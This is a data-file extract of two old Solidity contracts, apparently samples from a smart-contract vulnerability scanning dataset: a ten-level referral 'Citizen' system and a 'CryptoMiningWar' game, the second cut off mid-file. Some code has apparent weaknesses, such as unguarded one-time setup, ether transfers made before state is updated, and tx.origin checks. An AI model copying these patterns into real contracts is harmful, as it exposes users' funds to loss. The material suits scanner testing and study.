| 24,771 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xace024458674fe19c02c15624e4afefad71b60b6.sol
| 6,555 | 23,305 |
pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Helper {
using SafeMath for uint256;
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function validUsername(string _username)
public
pure
returns(bool)
{
bytes memory b = bytes(_username);
// Im Raum [4, 18]
if ((b.length < 4) || (b.length > 18)) return false;
// Letzte Char != ' '
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if(!(char >= 0x30 && char <= 0x39) &&
!(char >= 0x41 && char <= 0x5A) //A-Z)
return false;
}
if (b[0] >= 0x30 && b[0] <= 0x39) return false;
return true;
}
}
interface DAAInterface {
function citizenMintToken(address _buyer, uint256 _buyPrice, int8 _is_win) external returns(uint256);
function transfer(address _to, uint256 _value) external returns(bool);
function transferFrom(address _from, address _to, uint256 _tokenAmount) external returns(bool);
function balanceOf(address _from) external returns(uint256);
function currentRoundDividend() external;
function getDividendView(address _sender) external returns(uint256);
function getDividendPull(address _sender, uint256 _value) external returns(uint256);
function payOut(address _winner, uint256 _unit, uint256 _value, uint256 _valuebet) external;
function getCitizenBalanceEth(address _sender) external returns(uint256);
function totalSupplyByAddress(address _sender) external returns(uint256);
}
interface TicketInterface{
function getEarlyIncomePull(address _sender) external returns(uint256);
function getEarlyIncomeView(address _sender, bool _current) external returns(uint256);
function getEarlyIncomeByRound(address _buyer, uint256 _round) external returns(uint256);
function currentRound() external returns(uint256);
function ticketSumByAddress(address _sender) external returns(uint256);
}
contract CitizenStorage{
using SafeMath for uint256;
address controller;
modifier onlyCoreContract() {
require(msg.sender == controller, "admin required");
_;
}
mapping (address => uint256) public citizenWinIncome;
mapping (address => uint256) public citizenGameWinIncome;
mapping (address => uint256) public citizenWithdrawed;
function addWinIncome(address _citizen, uint256 _value) public onlyCoreContract() {
citizenWinIncome[_citizen] = _value.add(citizenWinIncome[_citizen]);
citizenWithdrawed[_citizen] = citizenWithdrawed[_citizen].add(_value);
}
function addGameWinIncome(address _citizen, uint256 _value, bool _enough) public onlyCoreContract() {
citizenGameWinIncome[_citizen] = _value.add(citizenGameWinIncome[_citizen]);
if (_enough){
citizenWithdrawed[_citizen] = citizenWithdrawed[_citizen].add(_value);
}
}
function pushCitizenWithdrawed(address _sender, uint256 _value) public onlyCoreContract(){
citizenWithdrawed[_sender] = citizenWithdrawed[_sender].add(_value);
}
constructor (address _contract)
public
{
require(controller== 0x0, "require setup");
controller = _contract;
}
}
contract Citizen{
using SafeMath for uint256;
// event Register(uint256 id, uint256 username, address indexed citizen, address indexed ref,
// uint256 ticket, uint256 ticketSpend, uint256 totalGameSpend, uint256 totalMined,
// uint256 dateJoin, uint256 totalWithdraw);
event Register(uint256 id, uint256 username, address indexed citizen, address indexed ref, uint256 ticketSpend, uint256 totalGameSpend, uint256 dateJoin);
modifier onlyAdmin() {
require(msg.sender == devTeam1, "admin required");
_;
}
modifier onlyCoreContract() {
require(isCoreContract[msg.sender], "admin required");
_;
}
modifier notRegistered(){
require(!isCitizen[msg.sender], "already exist");
_;
}
modifier registered(){
require(isCitizen[msg.sender], "must be a citizen");
_;
}
uint8[10] public TICKET_LEVEL_REF = [uint8(60),40,20,10,10,10,5,5,5,5];// 3 demical
uint8[10] public GAME_LEVEL_REF = [uint8(5),2,1,1,1,1,1,1,1,1];// 3 demical
struct Profile{
uint256 id;
uint256 username;
address ref;
mapping(uint => address[]) refTo;
mapping(address => uint256) payOut;
uint256 totalChild;
uint256 treeLevel;
uint256 citizenBalanceEth;
uint256 citizenBalanceEthBackup;
uint256 citizenTicketSpend;
uint256 citizenGameEthSpend;
uint256 citizenGameTokenSpend;
uint256 citizenEarlyIncomeRevenue;
uint256 citizenTicketRevenue;
uint256 citizenGameEthRevenue;
uint256 citizenGameTokenRevenue;
}
mapping (address => uint256) public citizenEthDividend;
address[21] public mostTotalSpender;
mapping (address => uint256) public mostTotalSpenderId;
mapping (address => mapping(uint256 => uint256)) public payOutByLevel;
mapping (address => Profile) public citizen;
mapping (address => bool) public isCitizen;
mapping (uint256 => address) public idAddress;
mapping (uint256 => address) public usernameAddress;
mapping (uint256 => address[]) public levelCitizen;
address devTeam1;
address devTeam2;
address devTeam3;
address devTeam4;
uint256 public citizenNr;
uint256 lastLevel;
uint256 earlyIncomeBalanceEth;
DAAInterface public DAAContract;
TicketInterface public TicketContract;
CitizenStorage public CitizenStorageContract;
mapping (address => bool) public isCoreContract;
uint256 public coreContractSum;
address[] public coreContracts;
constructor (address[4] _devTeam)
public
{
devTeam1 = _devTeam[0];
devTeam2 = _devTeam[1];
devTeam3 = _devTeam[2];
devTeam4 = _devTeam[3];
// first citizen is the development team
citizenNr = 1;
idAddress[1] = devTeam3;
isCitizen[devTeam3] = true;
//root => self ref
citizen[devTeam3].ref = devTeam3;
// username rules bypass
uint256 _username = Helper.stringToUint("GLOBAL");
citizen[devTeam3].username = _username;
usernameAddress[_username] = devTeam3;
citizen[devTeam3].id = 1;
citizen[devTeam3].treeLevel = 1;
levelCitizen[1].push(devTeam3);
lastLevel = 1;
}
// DAAContract, TicketContract, CitizenContract, CitizenStorage
function joinNetwork(address[4] _contract)
public
{
require(address(DAAContract) == 0x0,"already setup");
DAAContract = DAAInterface(_contract[0]);
TicketContract = TicketInterface(_contract[1]);
CitizenStorageContract = CitizenStorage(_contract[3]);
for(uint256 i =0; i<3; i++){
isCoreContract[_contract[i]]=true;
coreContracts.push(_contract[i]);
}
coreContractSum = 3;
}
function updateTotalChild(address _address)
private
{
address _member = _address;
while(_member != devTeam3) {
_member = getRef(_member);
citizen[_member].totalChild ++;
}
}
function addCoreContract(address _address) public // [dev1]
onlyAdmin()
{
require(_address!=0x0,"Invalid address");
isCoreContract[_address] = true;
coreContracts.push(_address);
coreContractSum+=1;
}
function updateRefTo(address _address) private {
address _member = _address;
uint256 level =1;
while (_member != devTeam3 && level<11){
_member = getRef(_member);
citizen[_member].refTo[level].push(_address);
level = level+1;
}
}
function register(string _sUsername, address _ref)
public
notRegistered()
{
require(Helper.validUsername(_sUsername), "invalid username");
address sender = msg.sender;
uint256 _username = Helper.stringToUint(_sUsername);
require(usernameAddress[_username] == 0x0, "username already exist");
usernameAddress[_username] = sender;
//ref must be a citizen, else ref = devTeam
address validRef = isCitizen[_ref] ? _ref : devTeam3;
//Welcome new Citizen
isCitizen[sender] = true;
citizen[sender].username = _username;
citizen[sender].ref = validRef;
citizenNr++;
idAddress[citizenNr] = sender;
citizen[sender].id = citizenNr;
uint256 refLevel = citizen[validRef].treeLevel;
if (refLevel == lastLevel) lastLevel++;
citizen[sender].treeLevel = refLevel + 1;
levelCitizen[refLevel + 1].push(sender);
//add child
updateRefTo(sender);
updateTotalChild(sender);
emit Register(citizenNr,_username, sender, validRef, citizen[sender].citizenTicketSpend, citizen[sender].citizenGameEthSpend, now);
}
// function updateUsername(string _sNewUsername)
// public
// registered()
// {
// require(Helper.validUsername(_sNewUsername), "invalid username");
// address sender = msg.sender;
// uint256 _newUsername = Helper.stringToUint(_sNewUsername);
// require(usernameAddress[_newUsername] == 0x0, "username already exist");
// uint256 _oldUsername = citizen[sender].username;
// citizen[sender].username = _newUsername;
// usernameAddress[_oldUsername] = 0x0;
// usernameAddress[_newUsername] = sender;
// }
function getRef(address _address)
public
view
returns (address)
{
return citizen[_address].ref == 0x0 ? devTeam3 : citizen[_address].ref;
}
function getUsername(address _address)
public
view
returns (uint256)
{
return citizen[_address].username;
}
function isDev() public view returns(bool){
if (msg.sender == devTeam1) return true;
return false;
}
function getAddressById(uint256 _id)
public
view
returns (address)
{
return idAddress[_id];
}
function getAddressByUserName(string _username)
public
view
returns (address)
{
return usernameAddress[Helper.stringToUint(_username)];
}
function pushTicketRefIncome(address _sender)
public
payable
onlyCoreContract()
{
uint256 _amount = msg.value; // 17%
_amount = _amount.div(170);
address sender = _sender;
address ref = getRef(sender);
uint256 money;
uint8 level;
for (level=0; level<10; level++){
money = _amount.mul(TICKET_LEVEL_REF[level]);
citizen[ref].citizenBalanceEth = money.add(citizen[ref].citizenBalanceEth);
citizen[ref].citizenTicketRevenue = money.add(citizen[ref].citizenTicketRevenue);
citizen[ref].payOut[_sender] = money.add(citizen[ref].payOut[_sender]);
payOutByLevel[ref][level+1] = money.add(payOutByLevel[ref][level+1]);
sender = ref;
ref = getRef(sender);
}
}
function pushGametRefIncome(address _sender)
public
payable
onlyCoreContract()
{
uint256 _amount = msg.value; // 1.5%
_amount = _amount.div(15);
address sender = _sender;
address ref = getRef(sender);
uint256 level;
uint256 money;
uint256 forDaa;
for (level=0; level<10; level++){
forDaa=0;
money = _amount.mul(GAME_LEVEL_REF[level]);
if (citizen[ref].citizenGameEthRevenue<citizen[ref].citizenGameEthSpend.div(10)){
if (citizen[ref].citizenGameEthRevenue+money>citizen[ref].citizenGameEthSpend.div(10)){
forDaa = citizen[ref].citizenGameEthRevenue+money-citizen[ref].citizenGameEthSpend.div(10);
money = money.sub(forDaa);
}
} else {
forDaa = money;
money = 0;
}
citizen[ref].citizenBalanceEth = money.add(citizen[ref].citizenBalanceEth);
citizen[ref].citizenGameEthRevenue = money.add(citizen[ref].citizenGameEthRevenue);
citizen[ref].payOut[_sender] = money.add(citizen[ref].payOut[_sender]);
payOutByLevel[ref][level+1] = money.add(payOutByLevel[ref][level+1]);
citizen[devTeam3].citizenBalanceEth = forDaa.add(citizen[devTeam3].citizenBalanceEth);
citizen[devTeam3].citizenGameEthRevenue = forDaa.add(citizen[devTeam3].citizenGameEthRevenue);
sender = ref;
ref = getRef(sender);
}
}
function pushGametRefIncomeToken(address _sender, uint256 _amount)
public
payable
onlyCoreContract()
{
_amount = _amount.div(15);
address sender = _sender;
address ref = getRef(sender);
uint256 level;
uint256 money;
uint256 forDaa;
for (level=0; level<10; level++){
forDaa=0;
money = _amount.mul(GAME_LEVEL_REF[level]);
if (citizen[ref].citizenGameTokenRevenue<citizen[ref].citizenGameTokenSpend.div(10)){
if (citizen[ref].citizenGameTokenRevenue+money>citizen[ref].citizenGameTokenSpend.div(10)){
forDaa = citizen[ref].citizenGameTokenRevenue+money-citizen[ref].citizenGameTokenSpend.div(10);
money = money.sub(forDaa);
}
} else {
forDaa = money;
money = 0;
}
DAAContract.payOut(ref,1,money,0);
citizen[ref].citizenGameTokenRevenue=money.add(citizen[ref].citizenGameTokenRevenue);
DAAContract.payOut(devTeam3,1,forDaa,0);
citizen[devTeam3].citizenGameTokenRevenue = forDaa.add(citizen[devTeam3].citizenGameTokenRevenue);
sender = ref;
ref = getRef(sender);
}
}
function pushEarlyIncome() public payable{
uint256 _value = msg.value;
earlyIncomeBalanceEth = earlyIncomeBalanceEth.add(_value);
}
function sortMostSpend(address _citizen) private {
uint256 citizen_spender = getTotalSpend(_citizen);
uint256 i=1;
while (i<21) {
if (mostTotalSpender[i]==0x0||(mostTotalSpender[i]!=0x0&&getTotalSpend(mostTotalSpender[i])<citizen_spender)){
if (mostTotalSpenderId[_citizen]!=0&&mostTotalSpenderId[_citizen]<i){
break;
}
if (mostTotalSpenderId[_citizen]!=0){
mostTotalSpender[mostTotalSpenderId[_citizen]]=0x0;
}
address temp1 = mostTotalSpender[i];
address temp2;
uint256 j=i+1;
while (j<21&&temp1!=0x0){
temp2 = mostTotalSpender[j];
mostTotalSpender[j]=temp1;
mostTotalSpenderId[temp1]=j;
temp1 = temp2;
j++;
}
mostTotalSpender[i]=_citizen;
mostTotalSpenderId[_citizen]=i;
break;
}
i++;
}
}
function addTicketEthSpend(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenTicketSpend = citizen[_citizen].citizenTicketSpend.add(_value);
DAAContract.citizenMintToken(_citizen,_value,0);// buy ticket 0, win 1, lose -1;
sortMostSpend(_citizen);
}
// Game spend
function addGameEthSpendWin(address _citizen, uint256 _value, uint256 _valuewin, bool _enough) onlyCoreContract() public {
citizen[_citizen].citizenGameEthSpend = citizen[_citizen].citizenGameEthSpend.add(_value);
// DAAContract.citizenMintToken(_citizen,_value,1);// buy ticket 0, win 1, lose -1;
CitizenStorageContract.addGameWinIncome(_citizen, _valuewin, _enough);
sortMostSpend(_citizen);
}
function addGameEthSpendLose(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenGameEthSpend = citizen[_citizen].citizenGameEthSpend.add(_value);
DAAContract.citizenMintToken(_citizen,_value,-1);// buy ticket 0, win 1, lose -1;
sortMostSpend(_citizen);
}
function addGameTokenSpend(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenGameTokenSpend = citizen[_citizen].citizenGameTokenSpend.add(_value);
}
function withdrawEth() public registered() {
address _sender = msg.sender;
uint256 _earlyIncome = TicketContract.getEarlyIncomePull(_sender);
uint256 _devidend = DAAContract.getDividendView(msg.sender);
uint256 _citizenBalanceEth = citizen[_sender].citizenBalanceEth;
uint256 _total = _earlyIncome.add(_devidend).add(_citizenBalanceEth).add(DAAContract.getCitizenBalanceEth(_sender));
require(_total>0,"Balance none");
CitizenStorageContract.pushCitizenWithdrawed(_sender,_total);
DAAContract.getDividendPull(_sender,_citizenBalanceEth+_earlyIncome);
_sender.transfer(_citizenBalanceEth+_earlyIncome);
citizen[_sender].citizenBalanceEthBackup = citizen[_sender].citizenBalanceEthBackup.add(_citizenBalanceEth).add(_earlyIncome).add(_devidend);
citizen[_sender].citizenEarlyIncomeRevenue = citizen[_sender].citizenEarlyIncomeRevenue.add(_earlyIncome);
citizenEthDividend[_sender] = citizenEthDividend[_sender].add(_devidend);
earlyIncomeBalanceEth= earlyIncomeBalanceEth.sub(_earlyIncome);
citizen[_sender].citizenBalanceEth = 0;
}
function addWinIncome(address _citizen, uint256 _value) onlyCoreContract() public {
CitizenStorageContract.addWinIncome(_citizen, _value);
}
// function addGameWinIncome(address _citizen, uint256 _value, bool _enough) public {
// CitizenStorageContract.addGameWinIncome(_citizen, _value, _enough);
// }
// function getInWallet() public view returns (uint256){
// uint256 _sum;
// address _sender = msg.sender;
// _sum = _sum.add(citizen[_sender].citizenBalanceEth);
// _sum = _sum.add(TicketContract.getEarlyIncomeView(_sender));
// _sum = _sum.add(DAAContract.getDividendView(_sender));
// _sum = _sum.add(DAAContract.getCitizenBalanceEth(_sender));
// return _sum;
// }
function getTotalEth() public registered() view returns(uint256){
uint256 _sum;
address _sender = msg.sender;
_sum = _sum.add(citizen[_sender].citizenBalanceEth);
_sum = _sum.add(citizen[_sender].citizenBalanceEthBackup);
_sum = _sum.add(CitizenStorageContract.citizenWinIncome(_sender));
_sum = _sum.add(TicketContract.getEarlyIncomeView(_sender, false));
_sum = _sum.add(DAAContract.getDividendView(_sender));
return _sum;
}
function getTotalDividend(address _sender) public registered() view returns(uint256){
return citizenEthDividend[_sender].add(DAAContract.getDividendView(_sender));
}
function getTotalEarlyIncome(address _sender) public registered() view returns(uint256){
uint256 _sum;
_sum = citizen[_sender].citizenEarlyIncomeRevenue;
_sum = _sum.add(TicketContract.getEarlyIncomeView(_sender, true));
return _sum;
}
function getTotalSpend(address _sender) public view returns(uint256){
return citizen[_sender].citizenGameEthSpend+citizen[_sender].citizenTicketSpend;
}
function getMemberByLevelToTal(uint256 _level) public view returns(uint256, uint256){
address _sender = msg.sender;
return(citizen[_sender].refTo[_level].length,payOutByLevel[_sender][_level]);
}
function getMemberByLevel(uint256 _level, address _sender, uint256 _id) public view returns(address){
return citizen[_sender].refTo[_level][_id];
}
function citizenPayForRef(address _citizen, address _ref) public view returns(uint256){
return citizen[_ref].payOut[_citizen];
}
}
| 192,654 | 389 |
108ad25447babca44eb96fa8915333a833c2473d635793e705d2fbd6c7c300b0
| 24,491 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5.sol
| 6,249 | 22,436 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface MiniGameInterface {
function setupMiniGame(uint256 _miningWarRoundNumber, uint256 _miningWarDeadline) external;
function isContractMiniGame() external pure returns(bool _isContractMiniGame);
}
contract CryptoEngineerInterface {
address public gameSponsor;
function isEngineerContract() external pure returns(bool) {}
function isContractMiniGame() external pure returns(bool) {}
}
contract CryptoMiningWar is PullPayment {
bool public initialized = false;
uint256 public roundNumber = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public HALF_TIME = 8 hours;
uint256 public ROUND_TIME = 86400 * 7;
uint256 public prizePool = 0;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 10000;
uint256 public totalMiniGame = 0;
uint256 private numberOfMiners = 8;
uint256 private numberOfBoosts = 5;
uint256 private numberOfRank = 21;
CryptoEngineerInterface public Engineer;
mapping(uint256 => address) public miniGameAddress;
//miner info
mapping(uint256 => MinerData) private minerData;
// plyer info
mapping(address => Player) public players;
mapping(address => uint256) public boosterReward;
//booster info
mapping(uint256 => BoostData) private boostData;
//mini game contract info
mapping(address => bool) public miniGames;
address[21] rankList;
address public administrator;
struct Player {
uint256 roundNumber;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
modifier isNotOver()
{
require(now <= deadline);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isCurrentRound(address _addr)
{
require(players[_addr].roundNumber == roundNumber);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event GetFreeMiner(address _addr, uint256 _miningWarRound, uint256 _deadline);
event BuyMiner(address _addr, uint256[8] minerNumbers, uint256 _crystalsPrice, uint256 _hashrateBuy, uint256 _miningWarRound);
event ChangeHasrate(address _addr, uint256 _hashrate, uint256 _miningWarRound);
event ChangeCrystal(address _addr, uint256 _crystal, uint256 _type, uint256 _miningWarRound); //_type: 1 add crystal , 2: sub crystal
event BuyBooster(address _addr, uint256 _miningWarRound, uint256 _boosterId, uint256 _price, address beneficiary, uint256 refundPrize);
event Lottery(address[10] _topAddr, uint256[10] _reward, uint256 _miningWarRound);
event WithdrawReward(address _addr, uint256 _reward);
constructor() public {
administrator = msg.sender;
initMinerData();
}
function initMinerData() private
{
// price, prod. limit
minerData[0] = MinerData(10, 10, 10); //lv1
minerData[1] = MinerData(100, 200, 2); //lv2
minerData[2] = MinerData(400, 800, 4); //lv3
minerData[3] = MinerData(1600, 3200, 8); //lv4
minerData[4] = MinerData(6400, 9600, 16); //lv5
minerData[5] = MinerData(25600, 38400, 32); //lv6
minerData[6] = MinerData(204800, 204800, 64); //lv7
minerData[7] = MinerData(1638400, 819200, 65536); //lv8
}
function () public payable
{
prizePool = SafeMath.add(prizePool, msg.value);
}
function isMiningWarContract() public pure returns(bool)
{
return true;
}
function startGame() public isAdministrator
{
require(!initialized);
startNewRound();
initialized = true;
}
function addMiner(address _addr, uint256 idx, uint256 _value) public isNotOver isCurrentRound(_addr) isAdministrator
{
require(idx < numberOfMiners);
require(_value != 0);
Player storage p = players[_addr];
MinerData memory m = minerData[idx];
if (SafeMath.add(p.minerCount[idx], _value) > m.limit) revert();
updateCrystal(_addr);
p.minerCount[idx] = SafeMath.add(p.minerCount[idx], _value);
updateHashrate(_addr, SafeMath.mul(_value, m.baseProduct));
}
function addCrystal(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
uint256 crystals = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
Player storage p = players[_addr];
p.crystals = SafeMath.add(p.crystals, crystals);
emit ChangeCrystal(_addr, _value, 1, roundNumber);
}
function subCrystal(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
updateCrystal(_addr);
uint256 crystals = SafeMath.mul(_value,CRTSTAL_MINING_PERIOD);
require(crystals <= players[_addr].crystals);
Player storage p = players[_addr];
p.crystals = SafeMath.sub(p.crystals, crystals);
emit ChangeCrystal(_addr, _value, 2, roundNumber);
}
function addHashrate(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
Player storage p = players[_addr];
p.hashrate = SafeMath.add(p.hashrate, _value);
emit ChangeHasrate(_addr, p.hashrate, roundNumber);
}
function subHashrate(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
require(players[_addr].hashrate >= _value);
Player storage p = players[_addr];
p.hashrate = SafeMath.sub(p.hashrate, _value);
emit ChangeHasrate(_addr, p.hashrate, roundNumber);
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
function setRoundNumber(uint256 _value) public isAdministrator
{
roundNumber = _value;
}
function setContractsMiniGame(address _addr) public isAdministrator
{
require(miniGames[_addr] == false);
MiniGameInterface MiniGame = MiniGameInterface(_addr);
require(MiniGame.isContractMiniGame() == true);
miniGames[_addr] = true;
miniGameAddress[totalMiniGame] = _addr;
totalMiniGame = totalMiniGame + 1;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
roundNumber = SafeMath.add(roundNumber, 1);
initBoostData();
setupMiniGame();
}
function setupMiniGame() private
{
for (uint256 index = 0; index < totalMiniGame; index++) {
if (miniGames[miniGameAddress[index]] == true) {
MiniGameInterface MiniGame = MiniGameInterface(miniGameAddress[index]);
MiniGame.setupMiniGame(roundNumber,deadline);
}
}
}
function initBoostData() private
{
//init booster data
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
for (uint256 idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public disableContract
{
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(prizePool, 90), 100);
uint256 devFee = SafeMath.div(SafeMath.mul(prizePool, 5), 100);
administrator.transfer(devFee);
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
uint256 totalPayment = 0;
uint256 rankPayment = 0;
address[10] memory _topAddr;
uint256[10] memory _reward;
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankPayment = SafeMath.div(SafeMath.mul(balance, profit[idx]),100);
asyncSend(rankList[idx], rankPayment);
totalPayment = SafeMath.add(totalPayment, rankPayment);
_topAddr[idx] = rankList[idx];
_reward[idx] = rankPayment;
}
}
prizePool = SafeMath.add(devFee, SafeMath.sub(balance, totalPayment));
emit Lottery(_topAddr, _reward, roundNumber);
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
//--------------------------------------------------------------------------
// Miner
//--------------------------------------------------------------------------
function getFreeMiner(address _addr) public isNotOver disableContract
{
require(msg.sender == _addr);
require(players[_addr].roundNumber != roundNumber);
Player storage p = players[_addr];
//reset player data
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
//free miner
p.lastUpdateTime = now;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
emit GetFreeMiner(_addr, roundNumber, deadline);
}
function getFreeMinerForMiniGame(address _addr) public isNotOver onlyContractsMiniGame
{
require(players[_addr].roundNumber != roundNumber);
Player storage p = players[_addr];
//reset player data
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
//free miner
p.lastUpdateTime = now;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
emit GetFreeMiner(_addr, roundNumber, deadline);
}
function buyMiner(uint256[8] minerNumbers) public isNotOver isCurrentRound(msg.sender)
{
updateCrystal(msg.sender);
Player storage p = players[msg.sender];
uint256 price = 0;
uint256 hashrate = 0;
for (uint256 minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
MinerData memory m = minerData[minerIdx];
uint256 minerNumber = minerNumbers[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0) revert();
if (minerNumber > 0) {
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
uint256 currentMinerCount = p.minerCount[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
// calculate no hashrate you want buy
hashrate = SafeMath.add(hashrate, SafeMath.mul(SafeMath.sub(p.minerCount[minerIdx],currentMinerCount), m.baseProduct));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price) revert();
p.crystals = SafeMath.sub(p.crystals, price);
updateHashrate(msg.sender, hashrate);
emit BuyMiner(msg.sender, minerNumbers, SafeMath.div(price, CRTSTAL_MINING_PERIOD), hashrate, roundNumber);
}
function getPlayerData(address addr) public view
returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost, uint256 playerBalance)
{
Player storage p = players[addr];
if(p.roundNumber != roundNumber) p = players[0x0];
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = p.hashrate;
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
playerBalance = payments[addr];
}
function getData(address _addr)
public
view
returns (uint256 crystals,
uint256 lastupdate,
uint256 hashratePerDay,
uint256[8] miners,
uint256 hasBoost,
uint256 playerBalance,
uint256 _miningWarRound,
uint256 _miningWarDeadline,
uint256 _miningWarPrizePool){
(, lastupdate, hashratePerDay, miners, hasBoost, playerBalance) = getPlayerData(_addr);
crystals = SafeMath.div(calCurrentCrystals(_addr), CRTSTAL_MINING_PERIOD);
_miningWarRound = roundNumber;
_miningWarDeadline = deadline;
_miningWarPrizePool = prizePool;
}
